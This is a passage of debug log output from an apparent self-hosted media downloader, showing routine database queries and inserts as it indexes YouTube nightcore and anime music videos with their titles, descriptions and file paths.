a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:22:04.659 [debug] QUERY OK source="sources" db=0.2ms idle=875.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:04.659 [debug] QUERY OK source="media_profiles" db=0.1ms idle=249.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:04.660 [debug] QUERY OK source="media_items" db=0.1ms idle=248.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 22:22:04.660 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "duration" => 226, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", "id" => "zlFwo3T3UxU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zlFwo3T3UxU", "playlist_index" => 4, "timestamp" => 1779444085, "title" => "Nightcore – Like A Prayer | Wagakki Rock", "upload_date" => "20260522"} 22:22:04.660 [debug] QUERY OK source="sources" db=0.1ms idle=248.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:04.660 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:04.661 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:22:04.837 [debug] QUERY OK source="media_items" db=175.6ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "37bd9bcc-7e47-4aab-b1ca-956edc454006", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:22:04Z], ~U[2026-07-24 02:22:04Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:22:04.837 [debug] QUERY OK source="sources" db=0.2ms idle=176.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:04.838 [debug] QUERY OK source="media_profiles" db=0.1ms idle=176.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:04.838 [debug] QUERY OK source="media_items" db=0.1ms idle=177.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 22:22:04.838 [debug] Current batch of media processed. Will check again in 1000ms 22:22:05.839 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "duration" => 146, "filename" => "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", "id" => "Wq4UaL6Tq5w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "playlist_index" => 5, "timestamp" => 1612398399, "title" => "Evangelion 「AMV」 - washing machine heart", "upload_date" => "20210204"} 22:22:05.840 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:05.841 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:05.841 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:22:06.022 [debug] QUERY OK source="media_items" db=181.1ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "78e8d817-6e88-4166-a3e4-bbd012224143", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:22:05Z], ~U[2026-07-24 02:22:05Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:22:06.023 [debug] QUERY OK source="sources" db=0.2ms idle=182.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:06.023 [debug] QUERY OK source="media_profiles" db=0.1ms idle=182.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:06.024 [debug] QUERY OK source="media_items" db=0.1ms idle=182.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 22:22:06.024 [debug] Current batch of media processed. Will check again in 1000ms 22:22:07.024 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "duration" => 269, "filename" => "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", "id" => "CRqWJy9KxV8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CRqWJy9KxV8", "playlist_index" => 6, "timestamp" => 1627879546, "title" => "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "upload_date" => "20210802"} 22:22:07.025 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:07.025 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:07.025 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:22:07.284 [debug] QUERY OK source="media_items" db=258.0ms idle=1001.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "770ab4de-7204-4d5e-9c17-b06aef1562aa", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:22:07Z], ~U[2026-07-24 02:22:07Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:22:07.284 [debug] QUERY OK source="sources" db=0.2ms idle=442.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:07.285 [debug] QUERY OK source="media_profiles" db=0.1ms idle=259.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:07.285 [debug] QUERY OK source="media_items" db=0.1ms idle=259.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 22:22:07.285 [debug] Current batch of media processed. Will check again in 1000ms 22:22:08.287 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "duration" => 132, "filename" => "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", "id" => "CVe8asL13uc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CVe8asL13uc", "playlist_index" => 7, "timestamp" => 1637987959, "title" => "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "upload_date" => "20211127"} 22:22:08.288 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:08.289 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:08.290 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-11-27 04:39:19Z], 1] 22:22:08.517 [debug] QUERY OK source="media_items" 